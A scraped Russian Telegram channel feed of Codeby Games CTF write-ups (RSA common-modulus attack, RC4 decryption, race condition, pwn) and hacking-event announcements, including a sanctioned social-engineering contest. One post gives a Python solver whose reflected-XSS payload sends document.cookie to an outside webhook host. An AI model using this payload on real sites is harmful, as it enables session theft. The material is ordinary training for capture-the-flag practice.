#WEB
Введение в WebSocket от @cherepawwka, ТОП 15 на платформе Codeby
Описание от автора
В этой статье мы поговорим о том, что такое веб-сокеты и зачем они нужны, чем они отличаются от других способов обмена информацией между клиентом и сервером, а также напишем простой скрипт на Python🐍 — WebSocket client для решения таска с платформы CodeBy Games🚩
Оригинальный пост📝
Читать: https://telegra.ph/Intro-to-WebSockets-05-02
#codebygames
Введение в WebSocket от @cherepawwka, ТОП 15 на платформе Codeby
Описание от автора
В этой статье мы поговорим о том, что такое веб-сокеты и зачем они нужны, чем они отличаются от других способов обмена информацией между клиентом и сервером, а также напишем простой скрипт на Python🐍 — WebSocket client для решения таска с платформы CodeBy Games🚩
Оригинальный пост
Читать: https://telegra.ph/Intro-to-WebSockets-05-02
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Intro to WebSockets
Всем привет! Сегодня мы поговорим о веб-сокетах, а также напишем простой скрипт на Python, который поможет решить таск с платформы CodeBy Games.
😍5🔥3❤2
Forwarded from Positive Hack Days Media
This media is not supported in your browser
VIEW IN TELEGRAM
На киберфестивале Positive Hack Days 2 мы предложим вам взломать нас 😏
Да, это не шутка. Мы проведем SEQuest — конкурс, в котором любой желающий сможет без последствий попробовать себя в роли хакера и проверить свои скилы в социальной инженерии. Ну а за успешное выполнение заданий мы щедро наградим участников.
😏 Что нужно будет сделать
Если коротко — выполнить семь заданий с разным уровнем сложности незаметно для организаторов, то есть нас. Вот они:
1. Изготовить копию бейджа организатора на свое имя.
2. На стойке регистрации получить настоящий бейдж организатора на свое имя.
3. Сделать футболку организатора или принести оригинальную.
4. Получить доступ к громкой связи мероприятия.
5. Получить уникальный стикер из штаба конференции.
6. Пройти в штаб организаторов и узнать пароль от Wi-Fi.
7. Получить доступ к прилавку с мерчем фестиваля.
Безусловно, есть базовые запреты: нельзя физически воздействовать на организаторов и входить с ними в умышленный сговор.
Безусловно, есть базовые разрешения: вы можете манипулятивно воздействовать на организаторов и вводить их в заблуждение, но исключительно для выполнения заданий конкурса.
😮 Как принять участие
Расписаться на стенде конкурса и получить полные правила (подробности — на сайте). Перед началом конкурса его организатор Антон Бочкарев, основатель «Третьей стороны», проведет базовый экскурс в социальную инженерию, который поможет участникам. Ну а дальше — дело за вами.
За решения заданий вы будете получать баллы, а те, кто займут призовые места, — получат мерч профи социальной инженерии. Ждем вас и не желаем удачи🤓
@PHDays
Да, это не шутка. Мы проведем SEQuest — конкурс, в котором любой желающий сможет без последствий попробовать себя в роли хакера и проверить свои скилы в социальной инженерии. Ну а за успешное выполнение заданий мы щедро наградим участников.
Если коротко — выполнить семь заданий с разным уровнем сложности незаметно для организаторов, то есть нас. Вот они:
1. Изготовить копию бейджа организатора на свое имя.
2. На стойке регистрации получить настоящий бейдж организатора на свое имя.
3. Сделать футболку организатора или принести оригинальную.
4. Получить доступ к громкой связи мероприятия.
5. Получить уникальный стикер из штаба конференции.
6. Пройти в штаб организаторов и узнать пароль от Wi-Fi.
7. Получить доступ к прилавку с мерчем фестиваля.
Безусловно, есть базовые запреты: нельзя физически воздействовать на организаторов и входить с ними в умышленный сговор.
Безусловно, есть базовые разрешения: вы можете манипулятивно воздействовать на организаторов и вводить их в заблуждение, но исключительно для выполнения заданий конкурса.
Расписаться на стенде конкурса и получить полные правила (подробности — на сайте). Перед началом конкурса его организатор Антон Бочкарев, основатель «Третьей стороны», проведет базовый экскурс в социальную инженерию, который поможет участникам. Ну а дальше — дело за вами.
За решения заданий вы будете получать баллы, а те, кто займут призовые места, — получат мерч профи социальной инженерии. Ждем вас и не желаем удачи
@PHDays
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4❤2🤯1
#crypto
Алиса не знает алгебру
Автор: @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание 🚩
Прежде всего отмечу два важных момента:
1. Если вы не математик, для решения таска вам потребуется уверенный навык программирования на языке Python. Надеюсь, это понятно.
2. В процессе решения таска ни в коем случае не разрывайте соединение с сервером, иначе работу придется начинать по новой.
Подключаемся к серверу:
Мы получили значения N, e_1 и e_2. Скопируем их куда-нибудь — еще пригодятся.
В подавляющем большинстве случаев в тасках, где фигурирует RSA, мы имеем дело с реализацией одноименного алгоритма, имеющей ту или иную уязвимость. В данном случае уязвимость заключается в том, что используются две экспоненты e_1 и e_2 вместо одной e, как должно быть в RSA. Подобное "нововведение" сразу наводит на мысль о Common Modulus Attack.
Внимательно изучив скрипт, который нам предоставили организаторы, мы сможем понять логику работу сервера: одно и то же сообщение шифруется с использованием сначала одной экспоненты e_1 и модуля N, затем с использованием другой экспоненты e_2 и модуля N. На выходе получается не один шифртекст c как должно быть, а два разных шифртекста c1 и c2. Это серьезная уязвимость и в CTF мы еще не раз встретим подобные таски.
Возвращаемся к серверу. Про действия [1] и [2] в принципе можно забыть, так как для решения таска они не понадобятся. Выбираем действие [4]. Сервер отдает нам два шифртекста, каждый из которых представляет собой сообщение, зашифрованное с использованием одного и того же модуля, но разных экспонент. Думаю, вы уже сообразили, что эти шифртексты уязвимы для Common Modulus Attack. Давайте договоримся, что в данном случае первый шифртекст — это c1, a второй — это c2. Однако шифртексты нам даны в hex-формате. Значит, прежде чем мы сможем с ними работать, нужно перевести эти два шифртекста из hex-формата в base10. Сделаем это с помощью Питона:
Теперь воспользуемся скриптом, который любезно расшифрует для нас ключ:
Если на вашей машине нет библиотеки libnum, то для начала придется ее установить:
Выполнив скрипт, мы получим расшифрованный ключ, который, разумеется, я вам не покажу, чтобы вы не жульничали, а сделали хоть что-нибудь самостоятельно и следовательно, научились чему-нибудь новому.
Возвращаемся к серверу и на этот раз выбираем действие [3]. Вводим расшифрованный ключ, после чего сервер отдаст нам флаг.
#codebygames
Алиса не знает алгебру
Автор: @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание 🚩
Прежде всего отмечу два важных момента:
1. Если вы не математик, для решения таска вам потребуется уверенный навык программирования на языке Python. Надеюсь, это понятно.
2. В процессе решения таска ни в коем случае не разрывайте соединение с сервером, иначе работу придется начинать по новой.
Подключаемся к серверу:
nc 62.173.140.174 11002
Мы получили значения N, e_1 и e_2. Скопируем их куда-нибудь — еще пригодятся.
В подавляющем большинстве случаев в тасках, где фигурирует RSA, мы имеем дело с реализацией одноименного алгоритма, имеющей ту или иную уязвимость. В данном случае уязвимость заключается в том, что используются две экспоненты e_1 и e_2 вместо одной e, как должно быть в RSA. Подобное "нововведение" сразу наводит на мысль о Common Modulus Attack.
Внимательно изучив скрипт, который нам предоставили организаторы, мы сможем понять логику работу сервера: одно и то же сообщение шифруется с использованием сначала одной экспоненты e_1 и модуля N, затем с использованием другой экспоненты e_2 и модуля N. На выходе получается не один шифртекст c как должно быть, а два разных шифртекста c1 и c2. Это серьезная уязвимость и в CTF мы еще не раз встретим подобные таски.
Возвращаемся к серверу. Про действия [1] и [2] в принципе можно забыть, так как для решения таска они не понадобятся. Выбираем действие [4]. Сервер отдает нам два шифртекста, каждый из которых представляет собой сообщение, зашифрованное с использованием одного и того же модуля, но разных экспонент. Думаю, вы уже сообразили, что эти шифртексты уязвимы для Common Modulus Attack. Давайте договоримся, что в данном случае первый шифртекст — это c1, a второй — это c2. Однако шифртексты нам даны в hex-формате. Значит, прежде чем мы сможем с ними работать, нужно перевести эти два шифртекста из hex-формата в base10. Сделаем это с помощью Питона:
c1_hex = '43e2b4c84aff770b7388499cc2af2535655de75aa333b5e97fbe1f45b626c9d5b09901a5863ff2da652018058a9e87110b721c40593ac4d36ccdf1b3933d5dd2'
c1 = int(c1_hex, 16)
c2_hex = '55e70b7b592aa36ec9a7d61e4bd7930d590447cc1a243f2aeba2ff132e42bd8dcc1a4fdfef8659ed5f9aa96724290f2cdc80a6e353849b3d51c1524b071cea34'
c2 = int(c2_hex, 16)
Теперь воспользуемся скриптом, который любезно расшифрует для нас ключ:
from libnum import *
def common_modulus(e1, e2, c1, c2, N):
a, b, d = xgcd(e1,e2)
if b < 0:
c2 = invmod(c2, N)
b = -b
if a < 0:
c1 = invmod(c1, N)
a = -a
m = (pow(c1,a,N) * pow(c2,b,N)) % N
return [m, a, b, d]
def pad(m, d, i, N):
if -d*4*i < 0:
f = pow(invmod(2, N), d*4*i, N)
else:
f = pow(2, -d*4*i, N)
return m * f % N
N = # сюда пишем нашу N
e_1 = # сюда пишем нашу e_1
c1 = # сюда пишем нашу c1
e_2 = # сюда пишем нашу e_2
c2 = # сюда нашу c2
m, _, _, _ = common_modulus(e_1,e_2,c1,c2,N) plaintext = n2s(m)
print(plaintext.decode())
Если на вашей машине нет библиотеки libnum, то для начала придется ее установить:
pip install libnum
Выполнив скрипт, мы получим расшифрованный ключ, который, разумеется, я вам не покажу, чтобы вы не жульничали, а сделали хоть что-нибудь самостоятельно и следовательно, научились чему-нибудь новому.
Возвращаемся к серверу и на этот раз выбираем действие [3]. Вводим расшифрованный ключ, после чего сервер отдаст нам флаг.
#codebygames
❤7🔥3🤯1
Ну что, кибер-котлеты, завтра встречаемся на пхд? Ставь фак, если идёшь
🖕20😢4🤨3☃1🤔1
#WEB Клиент всегда прав
Reflected XSS
Ссылка на задание🚩
От: @exited3n, автор канала @pt_soft
#codebygames
Reflected XSS
Ссылка на задание
От: @exited3n, автор канала @pt_soft
import requests
import json
webhook_api_url = 'https://webhook.link/api/new'
json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')
webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)
print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤2
Forwarded from Северная Пальмира
Друзья, коллеги, подписчики.
Недавно наш канал перевалил за 1000 подписчиков и мы сказали: Дальше — больше.
Время пришло!
Мы открываем регистрацию участников на HACK OSINT CTF 2024.
Организаторы мероприятия:
- Northern Palmyra;
- NullByte | Open Security;
Призовой фонд мероприятия составляет 2600$, а также множество цифровых наград от различных телеграм-сервисов и ещё несколько приятных сюрпризов.
Зарегистрироваться можно на hackosint.net
Добавляйтесь в телеграм-группу мероприятия, чтобы быть на связи и не пропускать важных новостей.
Побороться за награды можно как в команде, так и в индивидуальном зачете !
Северная Пальмира & Intelligence guild
#Intelligence_event
Недавно наш канал перевалил за 1000 подписчиков и мы сказали: Дальше — больше.
Время пришло!
Мы открываем регистрацию участников на HACK OSINT CTF 2024.
Организаторы мероприятия:
- Northern Palmyra;
- NullByte | Open Security;
Призовой фонд мероприятия составляет 2600$, а также множество цифровых наград от различных телеграм-сервисов и ещё несколько приятных сюрпризов.
Зарегистрироваться можно на hackosint.net
Добавляйтесь в телеграм-группу мероприятия, чтобы быть на связи и не пропускать важных новостей.
Побороться за награды можно как в команде, так и в индивидуальном зачете !
Северная Пальмира & Intelligence guild
#Intelligence_event
❤4🤔1
Привет кибер-котлеты!
После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby
#pwn Имя от @Delinester
Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5
#codebygames
После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby
#pwn Имя от @Delinester
Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5
#codebygames
Amir's Notion on Notion
“Name” PWN Writeup by Delinester | Notion
https://codeby.games/categories/pwn/d452cdbb-c9cb-4aa1-9d25-3be6bf171223
👍4🔥2❤1
Forwarded from VKACTF [Новости]
This media is not supported in your browser
VIEW IN TELEGRAM
⚔️Прошел ровно год с предыдущих соревнований VKACTF, и мы вновь возвращаемся на поля киберсражений⚔️
🚩 Итак, всероссийские соревнования VKACTF 2024 стартуют 1 июня в 18:00 и продлятся 24 часа⏰
🏆Соревнования будут проводиться в двух зачетах: общем и специальном
🇷🇺В общем зачете могут участвовать студенты из России
🪖В специальном зачете - курсанты ВУЗов Силовых структур РФ
🏅Победители и призеры соревнований будут награждены ценными призами, о которых мы расскажем чуть позже!
👥Количество участников в команде - до 5 человек
✏️Регистрация на платформе открывается 25 мая
❕Канал с новостями: @vkactf
🗣Чат поддержки: @vkactf_chat
🚩 Итак, всероссийские соревнования VKACTF 2024 стартуют 1 июня в 18:00 и продлятся 24 часа⏰
🏆Соревнования будут проводиться в двух зачетах: общем и специальном
🇷🇺В общем зачете могут участвовать студенты из России
🪖В специальном зачете - курсанты ВУЗов Силовых структур РФ
🏅Победители и призеры соревнований будут награждены ценными призами, о которых мы расскажем чуть позже!
👥Количество участников в команде - до 5 человек
✏️Регистрация на платформе открывается 25 мая
❕Канал с новостями: @vkactf
🗣Чат поддержки: @vkactf_chat
❤4
#crypto
Нулевой шифр
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.
Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:
FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==
Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.
Идем в sourceCode.txt.
Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
Третью, четвертую и пятую строки можно скопировать из функции без изменений.
Прилагаю скрипт целиком с моими комментариями:
Выполняем скрипт и получаем флаг.
Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.
#codebygames
Нулевой шифр
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.
Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:
FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==
Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.
Идем в sourceCode.txt.
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
FLAG = '******{***********************************}'.encode()
key = FLAG[:6]Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
hashed_key = hashlib.sha256(key).digest()[:16]
Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
key = b'CODEBY'
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
Третью, четвертую и пятую строки можно скопировать из функции без изменений.
Прилагаю скрипт целиком с моими комментариями:
# Подключаем нужные библиотеки (или устанавливаем, если их нет)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import hashlib
# Декодируем флаг из base64
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
# Обратите внимание, что ключ — это байтовая строка
key = b'CODEBY'
# Хешируем ключ, но используем лишь его первые 16 байт
hashed_key = hashlib.sha256(key).digest()[:16]
# Указываем, что хотим использовать алгоритм шифрования ARC4
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
# Передаем флаг на вход функции, которая производит расшифровку
ct = encryptor.update(FLAG) + encryptor.finalize()
# Печатаем флаг
print(ct)
Выполняем скрипт и получаем флаг.
Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.
#codebygames
❤11🔥1
Forwarded from Purple Chronicles (Hunter Biden)
Разбор задания "Точка невозврата" с платформы Codeby Games🚩
https://telegra.ph/Codeby-Games-Point-of-no-return-writeup-09-10
Сегодня продолжим тему race condition, но научимся использовать другие средства для эксплуатации уязвимости. В этот раз для решения задания средней сложности напишем Python-скрипт👩💻 и познакомимся с расширением Turbo Intruder для Burp Suite😈
#пентест #web #race
https://telegra.ph/Codeby-Games-Point-of-no-return-writeup-09-10
Сегодня продолжим тему race condition, но научимся использовать другие средства для эксплуатации уязвимости. В этот раз для решения задания средней сложности напишем Python-скрипт
#пентест #web #race
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Codeby Games "Point of no return" writeup
Всем привет! Сегодня мы, подобно Льюису Хэмильтону, станем профессиональными гонщиками, найдём и проэксплуатируем race condition двумя разными способами (Python и Turbo Intruder), решив задание средней сложности "Точка невозврата" с платформы Codeby Games.
🫡3❤1❤🔥1🔥1👏1